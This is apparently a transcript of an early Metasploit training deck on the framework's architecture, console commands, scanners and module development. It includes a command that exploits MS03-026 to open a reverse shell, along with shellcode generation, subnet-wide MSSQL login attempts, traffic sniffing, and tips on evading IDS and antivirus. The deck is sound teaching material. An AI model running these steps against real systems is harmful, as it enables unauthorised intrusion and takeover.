Mastering Metasploit: Micro Edition

4ff143f6a6b7644bba6114d3c52e9513?s=47 HD Moore
February 01, 2010

Mastering Metasploit: Micro Edition

This presentation covers the basics of using and extending the Metasploit Framework.

4ff143f6a6b7644bba6114d3c52e9513?s=128

HD Moore

February 01, 2010
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Transcript

  1. mastering metasploit (micro edition)

  2. Metasploit

  3. What is Metasploit? Metasploit Project  A community-driven project since

    2003 Rapid7  Maker of NeXpose Vulnerability Management Metasploit Framework  The original open-source exploit framework
  4. Metasploit Versions 1.0 released in 2003 (Perl) 2.0 released in

    2004 (Better Perl)  2.7 released in late 2006 3.0 released in 2007 (Ruby)  3.2 released in late 2008  3.3 released in late 2009  3.3.4 in the next two weeks
  5. Architecture

  6. Rex MSF Core MSF Base Payloads Exploits Encoders Nops Aux

    MODULES LIBRARIES INTERFACES Console CLI Web GUI PLUGINS TOOLS Metasploit Architecture
  7. Core Concepts – File System Organized by directory  lib:

    the meat of the framework code base  data: editable files used by Metasploit  tools: various useful command-line utils  modules: the actual modules  plugins: loadable plugins  scripts: metepreter and other scripts  external: source code and third-party libs
  8. Core Concepts - Libraries Rex is the basic library for

    most tasks  Sockets, protocols, text transformations  SSL, SMB, HTTP, XOR, Base64, Unicode Msf::Core provides the 'basic' API  Defines the framework Msf::Base provides the 'friendly' API  Simplified APIs for the framework
  9. Core Concepts – User Interfaces msfconsole  This is what

    you should ALWAYS use  Most features and the most stable  Windows supported via Cygwin msfgui, msfweb, msfcli  Useful for specific tasks  Less supported
  10. Core Concepts – Modules Exploits  Defined as modules which

    use payloads  Exploits without payloads: Auxiliary Payloads, Encoders, Nops  Payloads run remotely  Encoders make sure they get there  Nops keep payloads sizes consistent
  11. Core Concepts – Module Locations Primary module tree  Under

    $install/modules/<type>/<group> User-specific module tree  Under ~/.msf3/modules/<type>/<group>  Useful for private module sets Load additional trees at runtime  The “-m” option to msfconsole  The “loadpath” command in msfconsole
  12. Core Concepts – Object Model All modules are Ruby classes

     Inherit from the type-specific class  Which inherits from the Msf::Module class  Shared common API between modules Payloads are slightly different  Created at runtime from components  Glue together stagers with stages
  13. Core Concepts – Mixins Mixins are the reason Ruby rocks

     Mixins “include” one class into another  Different but similar to inheritance  Mixins can override a class methods Allows modules to have different flavors  Protocol-specific (ex: HTTP, SMB)  Behavior-specific (ex: brute force)
  14. Core Concepts – Plugins Plugins work directly with the API

     Manipulate the framework as whole  Hook into the event subsystem  Automate specific tasks Plugins only work in the console  Add new console commands  Extend framework functionality
  15. User Interfaces

  16. msfconsole 888 888 d8b888 888 888 Y8P888 888 888 888

    88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888 888 "888 "88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888 888 888 88888888888888 .d888888"Y8888b.888 888888888 888888888 888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b. 888 888 888 "Y8888 "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888 888 888 888 =[ msf v3.3-dev + -- --=[ 304 exploits - 173 payloads + -- --=[ 20 encoders - 6 nops =[ 74 aux msf exploit(ms03_026_dcom) >
  17. Overview: msfconsole  Text-based interface to the framework  Full

    readline support, tabbing, completion  Preferred interface of the developers  Unrecognized commands passed to the shell  Run other tools from within metasploit
  18. Usage: msfconsole $ msfconsole -h Usage: msfconsole [options] Specific options:

    -r <filename> Execute the specified resource file -c <filename> Load the specified configuration file -m <directory> Specifies an additional module search path -v, --version Show version Common options: -h, --help Show this message
  19. Core Command: connect  A miniature netcat clone built into

    msfconsole  Supports SSL, proxies, pivoting, file sends msf > connect 192.168.1.1 22 [*] Connected to 192.168.1.1:22 SSH-2.0-dropbear_0.52 ^C msf > connect -s www.metasploit.com 443 [*] Connected to www.metasploit.com:443 GET / HTTP/1.0 HTTP/1.1 302 Found Date: Sat, 25 Jul 2009 05:03:42 GMT Server: Apache/2.2.11 Location: http://www.metasploit.org/
  20. Core Command: info  Provides detailed module information  Always

    read a module description before using  The info command also provides  Author and licensing information  Vulnerability references  Payload restrictions
  21. Core Command: info msf > info exploit/windows/smb/psexec Name: Microsoft Windows

    Authenticated User Code Execution Version: 6118 Platform: Windows Privileged: Yes License: Metasploit Framework License (BSD) Provided by: hdm <hdm@metasploit.com> Payload information: Space: 8192 Description: This module uses a valid administrator username and password (or password hash) to execute an arbitrary payload. This module is similar to the "psexec" utility provided by SysInternals. References: http://www.microsoft.com/technet/sysinternals/utilities/psexec.mspx
  22. Core Command: irb  Drop into a live Ruby interpreter

    shell  Allows for real-time scripting of Metasploit  Useful for understanding framework internals msf > irb [*] Starting IRB shell... >> Framework::Version => "3.3-dev" >> print_status("Hello") [*] Hello >> framework.modules.keys.length => 744
  23. Core Command: jobs  Jobs are modules running in the

    background  Provides the ability to list and terminate jobs msf > jobs -h Usage: jobs [options] Active job manipulation and interaction. OPTIONS: -K Terminate all running jobs. -h Help banner. -k <opt> Terminate the specified job name. -l List all running jobs.
  24. Core Command: load  Loads a plugin from the plugin

    directory  Pass arguments as key=val on the shell msf > load Usage: load <path> [var=val var=val ...] Load a plugin from the supplied path. The optional var=val options are custom parameters that can be passed to plugins. msf > load pcap_log [*] Successfully loaded plugin: pcap_log
  25. Core Command: loadpath  Loads a third-party module tree for

    the path  Point at your 0-day, encoders, payloads, etc msf > loadpath /home/secret/modules Loaded 0 modules.
  26. Core Command: route  Route sockets through a session or

    “comm”  Provides basic pivoting capabilities msf > route Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid] Route traffic destined to a given subnet through a supplied session msf > route add 192.168.100.0 255.255.255.0 1
  27. Core Command: save  Saves current environment and settings 

    Automatically loads them on startup msf > save Saved configuration to: /home/hdm/.msf3/config
  28. Core Command: search  Search all modules for a regular

    expression  Looks at names, descriptions, references, etc msf > search IIS [*] Searching loaded modules for pattern 'IIS'... Exploits ======== Name Description ---- ----------- windows/iis/ms01_023_printer Microsoft IIS 5.0 Printer Host ... windows/iis/ms01_033_idq Microsoft IIS 5.0 IDQ Path Overflow.. windows/iis/ms02_018_htr Microsoft IIS 4.0 .HTR Path Overflow windows/iis/ms03_007_ntdll_webdav Microsoft IIS 5.0 WebDAV ntdll.dll...
  29. Core Command: sessions  List, interact, and kill spawned sessions

     Sessions can be shells, meterpreter, vnc, etc msf > sessions Usage: sessions [options] Active session manipulation and interaction. OPTIONS: -d <opt> Detach an interactive session -h Help banner. -i <opt> Interact with the supplied session identifier. -k <opt> Terminate session. -l List all active sessions. -q Quiet mode. -v List verbose fields.
  30. Core Command: set  Configure framework options and parameters 

    Global datastore overrides per-module datastore msf > set VAR 1234 VAR => 1234 msf > set DebugLevel 5 DebugLevel => 5 msf > set PAYLOAD windows/shell/reverse_tcp msf > set LHOST 192.168.0.1 msf > set LPORT 2323
  31. Core Command: show  Displays module lists by type msf

    > show exploits msf > show auxiliary msf > show payloads msf > show encoders msf > show nops
  32. Core Command: unload  Unloads a previously loaded plugin 

    Removes any extended commands msf > load pcap_log [*] Successfully loaded plugin: pcap_log msf > unload pcap_log Unloading plugin pcap_log...unloaded.
  33. Core Command: unset  Removes a parameter configured with set

     Remove all variables with “unset all” msf > set VAR 1234 VAR => 1234 msf > set Global ====== VAR 1234 msf > unset VAR Unsetting VAR... msf > set Global ====== No entries in data store.
  34. Core Command: use  Change context to a specific module

     Exposes type specific commands  Changes set and unset from global to module msf > use exploit/multi/handler msf > use payload/windows/shell_bind_tcp msf > use nop/x86/opty2 msf > use auxiliary/scanner/smb/version msf type(name) > back msf >
  35. Using Payloads  Create shellcode from the console  Adds

    the generate command msf > use payload/windows/shell_bind_tcp msf payload(shell_bind_tcp) > generate -h Usage: generate [options] OPTIONS: -b <opt> The list of characters to avoid: '\x00\xff' -e <opt> The name of the encoder module to use. -f <opt> The output file name (otherwise stdout) -h Help banner. -o <opt> A comma separated list of options in VAR=VAL format. -s <opt> NOP sled length. -t <opt> The output type: ruby, perl, c, or raw.
  36. Using Nops  Create nop sleds from the console 

    Adds the generate command msf > use nop/x86/opty2 msf nop(opty2) > generate -h Usage: generate [options] length Generates a NOP sled of a given length. OPTIONS: -b <opt> The list of characters to avoid: '\x00\xff' -h Help banner. -s <opt> The comma separated list of registers to save. -t <opt> The output type: ruby, perl, c, or raw.
  37. Using Exploits  Adds the exploit and check commands msf

    > use exploit/windows/dcerpc/ms03_026_dcom msf exploit(ms03_026_dcom) > help Exploit Commands ================ Command Description ------- ----------- check Check to see if a target is vulnerable exploit Launch an exploit attempt rcheck Reloads the module and checks if the target is vulnerable rexploit Reloads the module and launches an exploit attempt msf exploit(ms03_026_dcom) > set RHOST 192.168.0.128 msf exploit(ms03_026_dcom) > check
  38. Using Exploits  Adds new options to the show command

    msf > use exploit/windows/dcerpc/ms03_026_dcom msf exploit(ms03_026_dcom) > show targets msf exploit(ms03_026_dcom) > show payloads msf exploit(ms03_026_dcom) > show options msf exploit(ms03_026_dcom) > show advanced msf exploit(ms03_026_dcom) > show evasion
  39. Using Auxiliary Modules  Modules can add new commands to

    the console  Adds the run command (exploit is an alias)  Adds new options to the show command msf > use auxiliary/scanner/smb/version msf auxiliary(version) > show actions
  40. Reloading Modules  Supported by exploits and auxiliary  rexploit,

    rerun, rcheck, and reload  Useful for module development msf > use auxiliary/scanner/smb/version msf auxiliary(version) > set RHOSTS 192.168.0.128 msf auxiliary(version) > run [ make changes to the module source code ] msf auxiliary(version) > rerun
  41. Reloading Modules  Supported by exploits and auxiliary  rexploit,

    rerun, rcheck, and reload  Useful for module development msf > use auxiliary/scanner/smb/version msf auxiliary(version) > set RHOSTS 192.168.0.128 msf auxiliary(version) > run [ make changes to the module source code ] msf auxiliary(version) > rerun
  42. Global vs Module Datastore  Think of it as a

    process environment  Global environment (setg & unsetg)  Module environment (set & unset)  The save command preserves both  Save time using the saved datastore  Set common variables as globals  LHOST, LPORT, PAYLOAD  Preconfigure common exploits  TARGET, DCERPC::max_frag_size
  43. Using Tab Completion  The console is designed to be

    FAST to use  Depends on the ruby readline extension  Nearly every command has tab completion  use exploit/windows/dce<tab>  use .*netapi.*<tab>  set LHOST <tab>  show <tab>  set TARGET <tab>  set PAYLOAD windows/shell/<tab>  exp<tab>
  44. Console Batch Commands  Speed up testing, development, automation 

    Specify a batch file with -r on start  Use the resource command in the console  Create script as ~/.msf3/msfconsole.rc $ echo version > version.rc $ msfconsole -r version.rc =[ msf v3.3-dev + -- --=[ 359 exploits - 223 payloads + -- --=[ 20 encoders - 7 nops =[ 137 aux resource> version Framework: 3.3-dev.6055 Console : 3.3-dev.6318
  45. LAB: Generate a Win32 Bind Shell Use a Windows bind

    shell payload with msfconsole  Generate output In Ruby format  Generate without bytes 0x00, 0x02, 0x08  Generate without byte 0xd9 (what changed?)  Generate multiple times  What parts stay similar?
  46. msfcli $ msfcli -h Usage: /usr/local/bin/msfcli <exploit_name> <option=value> [mode] =================================================================

    Mode Description ---- ----------- (H)elp You're looking at it baby! (S)ummary Show information about this module (O)ptions Show available options for this module (A)dvanced Show available advanced options for this module (I)DS Evasion Show available ids evasion options for this module (P)ayloads Show available payloads for this module (T)argets Show available targets for this exploit module (AC)tions Show available actions for this auxiliary module (C)heck Run the check routine of the selected module (E)xecute Execute the selected module
  47. Overview: msfcli  Non-interactive console interface for Metasploit  Launches

    one specific module only  Handy for quick tests and scripting  NO LONGER MAINTAINED
  48. Usage: msfcli  Specify payload, options, and action 'E' $

    msfcli exploit/windows/dcerpc/ms03_026_dcom \ RHOST=192.168.0.128 \ PAYLOAD=windows/shell/reverse_tcp \ LHOST=192.168.0.2 \ LPORT=2323 \ E [*] Handler binding to LHOST 0.0.0.0 [*] Started reverse handler [*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal.... [*] Sending exploit ... [*] Command shell session 1 opened (192.168.0.2:2323) Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32>
  49. msfweb

  50. Overview: msfweb  Web 2.0 interface to the Metasploit Framework

     Supports multiple users, able to share sessions  No authentication or attempt at security  Useful for some group tasks  NO LONGER MAINTAINED
  51. msfgui

  52. Overview: msfgui  GTK+ GUI interface for the Metasploit Framework

     Provides a usable console via Control+O  Graphical file and process browser  Somewhat buggy and prone to crash  NO LONGER MAINTAINED
  53. msfrpcd $ msfrpcd -U hdm -P s3cr3tp4ss [*] XMLRPC starting

    on 0.0.0.0:55553 (SSL)... [*] XMLRPC initializing... [*] XMLRPC backgrounding... $ msfrpc -U hdm -P s3cr3tp4ss -a 127.0.0.1 [*] The 'rpc' object holds the RPC client interface >> rpc.call("module.info", "exploit", "solaris/telnet/ttyprompt") => {"name"=>"Solaris in.telnetd TTYPROMPT Buffer Overflow", "license"=>"Metasploit Framework License (BSD)", "targets"=>{"0"=>"Automatic"}, "version"=>"6854", "default_target"=>0, "filepath"=>"/msf3/modules/exploits/solaris/telnet/ttyprompt.rb", "description"=>"\n\t\t\t\tThis module uses a buffer overflow in the Solaris 'login'\n\t\t\tapplication to bypass authentication in the telnet daemon. \n\t\t\t", "authors"=>["MC <mc@metasploit.com>", "cazz <bmc@shmoo.com>"], "references"=>[["BID", "5531"], ["CVE", "2001-0797"], ["MIL", "66"]]}
  54. Overview: msfrpcd and msfrpc  Remote scripting interface for Metasploit

     Authenticated with user/pass over SSL  Implementation under lib/msf/core/rpc/  Underlying protocol is XMLRPC + NULL byte  Useful for product integration and automation  End goal is a client-only msfconsole interface  Use a single dedicated host for metasploit  Share access to compromised systems  Integrate manual testing with automated tools
  55. Auxiliary Modules

  56. Auxiliary Modules Auxiliaries are organized in directories by type 

    Denial of Service (dos)  Administrative Access (admin)  Evil services (server)  Scanners (scanner)  Spoofing (spoof)
  57. Scanner Modules Designed to help with reconnaissance  Dozens of

    useful service scanners  Simple module format, easy to use  Specify ranges as RHOSTS vs RHOST  Specify THREADS for concurrency  Keep this under 16 on Native Win32  Keep this under 200 on Cygwin  UNIX: 256 works just fine
  58. LAB: Anonymous FTP Scanner Locate the anonymous FTP auxiliary module

     Configure to scan 192.168.1.0/24  Run the module  Configure to try user/pass of 'test'  Use THREADS to scan faster
  59. Tips and Tricks: RHOSTS RHOSTS uses the OptAddressRange option class

    This class has some interesting features: # Target a CIDR mask (192.168.1.0 -> 192.168.1.255) msf auxiliary(module)> set RHOSTS 192.168.1.0/24 # Target a specific range of IP addresses msf auxiliary(module)> set RHOSTS 192.168.1.100-192.168.1.255 # Target all IP addresses in a hostname's subnet msf auxiliary(module)> set RHOSTS metasploit.com/24 # Target multiple ranges listed line-by-line in a text file msf auxiliary(module)> set RHOSTS file:/tmp/ranges.txt # Target a IPv6 address (ranges are pointless, as shown later) msf auxiliary(module)> set RHOSTS fe80::21c:63ff:fed8:ba32 # Soon to be implemented, targeting based on database contents msf auxiliary(module)> set RHOSTS db:/hosts,mask=192.168.1.0/24,port=80
  60. Host Discovery [ UDP Sweeper ]

  61. $ msfconsole _ _ _ | | (_)_ ____ ____|

    |_ ____ ___ ____ | | ___ _| |_ | \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _) | | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__ |_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___) |_| =[ msf v3.3.4-dev + -- --=[ 497 exploits - 173 payloads + -- --=[ 20 encoders - 6 nops =[ 74 aux msf > use auxiliary/scanner/discovery/udp_sweep msf auxiliary(udp_sweep) >
  62. msf auxiliary(udp_sweep) > info Name: UDP Service Sweeper Version: 5709

    Provided by: hdm <hdm@metasploit.com> Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- BATCHSIZE 256 yes The number of hosts to probe in each set RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads Description: Detect common UDP services msf auxiliary(udp_sweep) > set RHOSTS 192.168.1.0/24 msf auxiliary(udp_sweep) > run [*] Sending 7 probes to 192.168.1.0->192.168.1.255 (256 hosts) [ ...]
  63. Service Discovery [ SMB Information ]

  64. msf > use auxiliary/scanner/smb/smb_version msf auxiliary(version) > show options Module

    options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads msf auxiliary(version) > show advanced Module advanced options: Name : ConnectTimeout Current Setting: 10 Description : Maximum number of seconds to establish a TCP connection Name : Proxies Current Setting: Description : Use a proxy chain
  65. msf auxiliary(version) > set RHOSTS 192.168.1.0/24 msf auxiliary(version) > set

    THREADS 100 msf auxiliary(version) > set ConnectTimeout 2 msf auxiliary(version) > run [*] 192.168.1.65 is running Windows 2003 Service Pack 2 [*] 192.168.1.15 is running Windows XP Service Pack 2+ [*] 192.168.1.57 is running Windows XP Service Pack 2+ [*] 192.168.1.86 is running Windows XP Service Pack 0 / Service Pack 1 [*] 192.168.1.93 is running Windows XP Service Pack 2+ [*] 192.168.1.62 is running Windows XP Service Pack 2+ [*] 192.168.1.111 is running Unix Samba 3.0.22 [*] 192.168.1.121 is running Unix Samba 3.0.28a [*] 192.168.1.110 is running Windows XP Service Pack 0 / Service Pack 1 [*] 192.168.1.144 is running Unix Samba 3.0.28a [*] 192.168.1.161 is running Unix Samba 3.0.24-7.fc5 [*] 192.168.1.182 is running Unix Samba 3.0.26a [*] 192.168.1.138 is running Windows 2003 Service Pack 2 [*] 192.168.1.140 is running Windows XP Service Pack 2+ [*] 192.168.1.181 is running Windows XP Service Pack 2+ [*] 192.168.1.107 is running Windows XP Service Pack 0 / Service Pack 1 [*] 192.168.1.204 is running Unix Samba 3.0.28a [*] 192.168.1.224 is running Unix Samba 3.0.28-1.el5_2.1
  66. Service Discovery [ HTTP Version ]

  67. msf > use auxiliary/scanner/http/http_version msf auxiliary(version) > show options Module

    options: Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no Use a proxy chain RHOSTS yes The target address range or CIDR identifier RPORT 80 yes The target port SSL false no Use SSL THREADS 1 yes The number of concurrent threads VHOST no HTTP server virtual host msf auxiliary(http_version) > set RHOSTS 192.168.1.0/24 msf auxiliary(http_version) > set THREADS 100 msf auxiliary(http_version) > set ConnectTimeout 2 msf auxiliary(http_version) > run [*] 192.168.1.211 is running thttpd/2.25b 29dec2003 [*] 192.168.1.216 is running Allegro-Software-RomPager/2.10 [*] 192.168.1.222 is running Virata-EmWeb/R6_0_1 [*] 192.168.1.229 is running cisco-IOS [*] 192.168.1.232 is running Web Server [*] 192.168.1.205 is running Apache
  68. Login Testing [ Microsoft SQL ]

  69. msf > use auxiliary/scanner/mssql/mssql_login msf auxiliary(mssql_login) > show options Module

    options: Name Current Setting Required Description ---- --------------- -------- ----------- MSSQL_PASS no The password for the specified username MSSQL_USER sa no The username to authenticate as RHOSTS yes The target address range or CIDR identifier RPORT 1433 yes The target port THREADS 1 yes The number of concurrent threads msf auxiliary(mssql_login) > set RHOSTS 192.168.1.0/24 msf auxiliary(mssql_login) > set THREADS 100 msf auxiliary(mssql_login) > set ConnectTimeout 2 msf auxiliary(mssql_login) > run [*] 192.168.1.41:1433 failed to login as 'sa' [*] 192.168.1.53:1433 failed to login as 'sa' [*] 192.168.1.54:1433 failed to login as 'sa' [*] 192.168.1.55:1433 failed to login as 'sa' [*] 192.168.1.44:1433 failed to login as 'sa' [*] 192.168.1.58:1433 failed to login as 'sa' [*] 192.168.1.61:1433 failed to login as 'sa'
  70. DCERPC Testing [ Enumeration ]

  71. msf > use auxiliary/scanner/dcerpc/endpoint_mapper msf auxiliary(endpoint_mapper) > show options Module

    options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 135 yes The target port THREADS 1 yes The number of concurrent threads msf auxiliary(endpoint_mapper) > set RHOSTS 192.168.1.147 msf auxiliary(endpoint_mapper) > set THREADS 100 msf auxiliary(endpoint_mapper) > set ConnectTimeout 2 msf auxiliary(endpoint_mapper) > run [*] Connecting to the endpoint mapper service... [*] 12345678-1234-abcd-ef00-0123456789ab v1.0 TCP (1025) 192.168.1.147 [*] 45f52c28-7f9f-101a-b52b-08002b2efabe v1.0 PIPE (\pipe\WinsPipe) [*] 811109bf-a4e1-11d1-ab54-00a0c91e9b45 v1.0 TCP (1035) 192.168.1.147 [*] bfa951d1-2f0e-11d3-bfd1-00c04fa3490a v1.0 TCP (1034) 192.168.1.147 [*] bfa951d1-2f0e-11d3-bfd1-00c04fa3490a v1.0 TCP (1036) 192.168.1.147 [*] bfa951d1-2f0e-11d3-bfd1-00c04fa3490a v1.0 UDP (1037) 192.168.1.147 [*] 50abc2a4-574d-40b3-9d66-ee4fd5fba076 v5.0 TCP (1030) 192.168.1.147 [*] 906b0ce0-c70b-1067-b317-00dd010662da v1.0 TCP (1027) 192.168.1.147
  72. DCERPC Testing [ SMB Pipes ]

  73. msf > use auxiliary/scanner/smb/pipe_auditor msf auxiliary(pipe_auditor) > show options Module

    options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads msf auxiliary(pipe_auditor) > set RHOSTS 192.168.1.0/24 msf auxiliary(pipe_auditor) > set THREADS 100 msf auxiliary(pipe_auditor) > set ConnectTimeout 2 msf auxiliary(pipe_auditor) > run [*] 192.168.1.34 - Pipes: \netlogon, \lsarpc, \samr, \browser [*] 192.168.1.117 - Pipes: \netlogon, \lsarpc, \samr, \eventlog, [*] 192.168.1.116 - Pipes: \browser [*] 192.168.1.138 - Pipes: \netlogon, \lsarpc, \samr, \browser [*] 192.168.1.47 - Pipes: \browser
  74. DCERPC Testing [ DCERPC over SMB Pipes ]

  75. msf > use auxiliary/scanner/smb/pipe_dcerpc_auditor msf auxiliary(pipe_auditor) > show options Module

    options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier SMBPIPE LSASS yes The pipe name to use (LSASS) THREADS 1 yes The number of concurrent threads msf auxiliary(pipe_dcerpc_auditor) > set RHOSTS 192.168.1.47 msf auxiliary(pipe_dcerpc_auditor) > set SMBPIPE browser msf auxiliary(pipe_dcerpc_auditor) > run 192.168.1.47 - UUID 00000131-0000-0000-c000-000000000046 0.0 OPEN VIA browser 192.168.1.47 - UUID 00000134-0000-0000-c000-000000000046 0.0 OPEN VIA browser 192.168.1.47 - UUID 00000143-0000-0000-c000-000000000046 0.0 OPEN VIA browser 192.168.1.47 - UUID 000001a0-0000-0000-c000-000000000046 0.0 OPEN VIA browser 192.168.1.47 - UUID 06bba54a-be05-49f9-b0a0-30f790261023 1.0 OPEN VIA browser 192.168.1.47 - UUID 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53 1.0 OPEN VIA browser 192.168.1.47 - UUID 0d72a7d4-6148-11d1-b4aa-00c04fb66ea0 1.0 OPEN VIA browser 192.168.1.47 - UUID 12b81e99-f207-4a4c-85d3-77b42f76fd14 1.0 OPEN VIA browser 192.168.1.47 - UUID 18f70770-8e64-11cf-9af1-0020af6e72f4 0.0 OPEN VIA browser 192.168.1.47 - UUID 1ff70682-0a51-30e8-076d-740be8cee98b 1.0 OPEN VIA browser 192.168.1.47 - UUID 20610036-fa22-11cf-9823-00a0c911e5df 1.0 OPEN VIA browser 192.168.1.47 - UUID 2f5f6520-ca46-1067-b319-00dd010662da 1.0 OPEN VIA browser 192.168.1.47 - UUID 2f5f6521-cb55-1059-b446-00df0bce31db 1.0 OPEN VIA browser
  76. Scanner Development

  77. Scanner Module Internals Metasploit scanner features  Access to all

    exploit classes and methods  Support for proxies, SSL, reporting  Built-in threading and range scanning  Easy to write and run quickly Extremely useful for security audits  Find every instance of a bad password  Scan for an in-house vulnerable service
  78. Scanner Architecture Auxiliary module that includes mixins  First includes

    the 'exploit' mixins (TCP, SMB)  Then includes 'auxiliary' mixins (Scanner) The Auxiliary::Scanner mixin  Overloads the Auxiliary “run” method  Calls your module method at runtime: run_host(ip) run_range(range) run_batch(batch)  Process the IP address(es)
  79. class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::TCP include Msf::Auxiliary::Scanner def initialize

    super( 'Name' => 'Custom Scanner Template', 'Version' => '$Revision: 1 $', 'Description' => 'My quick scanner', 'Author' => 'My Name Here', ) register_options( [ Opt::RPORT(12345) ], self.class) end def run_host(ip) connect() sock.put(“HELLO SERVER\r\n”) data = sock.get_once print_status(“Received: #{data}”) disconnect() end end
  80. LAB: Write a TCP service scanner Locate a service on

    port 9999  Send “password\r\n”  Receive the data  Display the data Auxiliary template available at:  http://192.168.1.2/shared/myscanner.rb  Install into: ~/.msf3/modules/auxiliary/class/myscanner.rb Hint: $ mkdir -p ~/.msf3/modules/auxiliary/class
  81. Raw Packet Modules Metasploit now supports raw packet aux modules

     PcapRub library is used to sniff and send  Racket library is used to decode and create PcapRub must be compiled and installed  cd msf3/external/source/pcaprub/  ruby extconf.rb && make install Only really tested on Linux and requires root  Should work on BSD & Mac OS X (no Win32)
  82. msf > use auxiliary/scanner/portscan/syn msf auxiliary(syn) > set RHOSTS 192.168.1.1

    msf auxiliary(syn) > set PORTS 1-1000 msf auxiliary(syn) > run [*] TCP OPEN 192.168.1.1:22 [*] TCP OPEN 192.168.1.1:53 [*] TCP OPEN 192.168.1.1:80 msf > use auxiliary/scanner/discovery/arp_sweep msf auxiliary(arp_sweep) > set RHOSTS 192.168.1.0/24 msf auxiliary(arp_sweep) > run [*] 192.168.1.116 appears to be up. msf > use auxiliary/sniffer/psnuffle msf auxiliary(psnuffle) > run [*] Loaded protocol FTP from data/exploits/psnuffle/ftp.rb... [*] Loaded protocol URL from data/exploits/psnuffle/url.rb... [*] Sniffing traffic..... -> Get request sniffed: 91.203.99.45/?host=slashdot.org&hdn=NxA6 -> Get request sniffed: 91.203.99.45/?host=www.slashdot.org&hdn -> Get request sniffed: 91.203.99.45/?host=www.bofa.com&hdn=vNV -> Get request sniffed: 91.203.99.45/?host=www.bofa.com&hdn=vN # ^- Opera 10b2 logging all web sites visited
  83. Reporting Results Use the Auxiliary::Report mixin include Msf::Auxiliary::Report Call the

    report_note() method report_note( :host => rhost, :type => "myscanner_password", :data => data )
  84. Reporting Results The Report mixin provides report_*() These methods depend

    on a database  Check for a live database connection  Check for a duplicate record (same data)  Write a record into the table The database drivers are now autoloaded  db_driver sqlite3 (postgres, mysql) The same schema as db_autopwn
  85. Reporting APIs Defined inside the Report mixin  lib/msf/core/auxiliary/report.rb Schema

    defined for each DB type  data/sql/*.sql Methods for every type of data  report_host()  report_service()  report_note()  report_auth_info()
  86. Exploits

  87. Exploit Design Goals Exploits should be minimal  Offload as

    much as we can to framework  Rely on the Rex protocol libraries  Make heavy use of the mixins Exploits should be reliable  BadChars must be 100% accurate  Payload->Space is the maximum reliable  Little details matter the most
  88. Exploit Design Goals Exploits should be random  Rex::Text.rand_text_* to

    generate padding  Randomize all payloads with encoders  Randomize encoder stub if possible  Randomize nops as well Randomization has benefits  IDS, IPS, AV evasion are handy  Also a great reliability test!
  89. Exploit Design Goals Exploits should be readable  Consistent structure,

    hard-tab indents  Fancy code is harder to maintain  Mixins provide consistent option names Exploits should be useful  Proof of concepts should be Auxiliary DoS  Exploit reliability must be high  Target lists should be inclusive
  90. Exploit Format Similar to Auxiliary, but more fields  A

    Payload information block  A listing of available Targets  Define exploit() & check() vs run() Exploits always have Payloads  No payload makes it an Auxiliary  Payload details are covered later
  91. class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::TCP def initialize super( 'Name'

    => 'Simplified Exploit Module', 'Description' => 'This module sends a payload', 'Author' => 'My Name Here', 'Payload' => {'Space' => 1024, 'BadChars' => “\x00”}, 'Targets' => [ ['Automatic', {} ] ], 'Platform' => 'win', ) register_options( [ Opt::RPORT(12345) ], self.class) end # Connect to port, send the payload, handle it, disconnect def exploit connect() sock.put(payload.encoded) handler() disconnect() end end
  92. Defining Vulnerability Tests Define a method called check()  All

    non-payloads options are verified  Perform the vulnerability test  Return a defined Check value Return values for check()  CheckCode::Safe # not exploitable CheckCode::Detected # service detected CheckCode::Appears # vuln version CheckCode::Vulnerable # confirmed! CheckCode::Unsupported
  93. def check # connect to get the FTP banner connect

    # disconnect since have cached it as self.banner disconnect case banner when /Serv-U FTP Server v4\.1/ print_status('Found version 4.1.0.3, exploitable') return Exploit::CheckCode::Vulnerable when /Serv-U FTP Server/ print_status('Found an unknown version, try it!'); return Exploit::CheckCode::Detected else print_status('We could not recognize the server banner') return Exploit::CheckCode::Safe end return Exploit::CheckCode::Safe end
  94. Mixins

  95. Exploit Mixins A quick diversion into Ruby  Every Class

    only has one parent  A class may include many Modules  Modules can add new methods  Modules can overload old methods Metasploit modules inherit Msf::Module  They include mixins to add features  Mixins can change how they work
  96. class MyParent def woof puts “woof!” end end class MyClass

    < MyParent end object = MyClass.new object.woof() => “woof!” ================================================================ module MyMixin def woof puts “hijacked the woof method!” end end class MyBetterClass < MyClass include MyMixin end MyBetterClass.new.woof() => “hijacked the woof method!”
  97. Mixin Types Mixins can add new features  connect() implemented

    by the TCP mixin  connect() overloaded by FTP, SMB, others Mixins can change behavior  The Scanner mixin overloads run()  Changes run() for run_host(), run_range()  Calls these in parallel based on THREADS  The BruteForce mixin is similar
  98. Mixin - Exploit::Remote::Tcp Code: lib/msf/core/exploit/tcp.rb Provides TCP options and methods

     Defines RHOST, RPORT, ConnectTimeout  Provides connect(), disconnect()  Creates self.sock as the global socket  Offers SSL, Proxies, CPORT, CHOST  Evasion via small segment sends Exposes user options as methods  rhost() rport() ssl()
  99. Mixin - Exploit::Remote::DCERPC Code: lib/msf/core/exploit/dcerpc.rb Inherits from the TCP mixin

    DCERPC methods and options  dcerpc_handle()  dcerpc_bind()  dcerpc_call() Supports IPS evasion methods  Multi-context BIND requests  Fragmented DCERPC calls
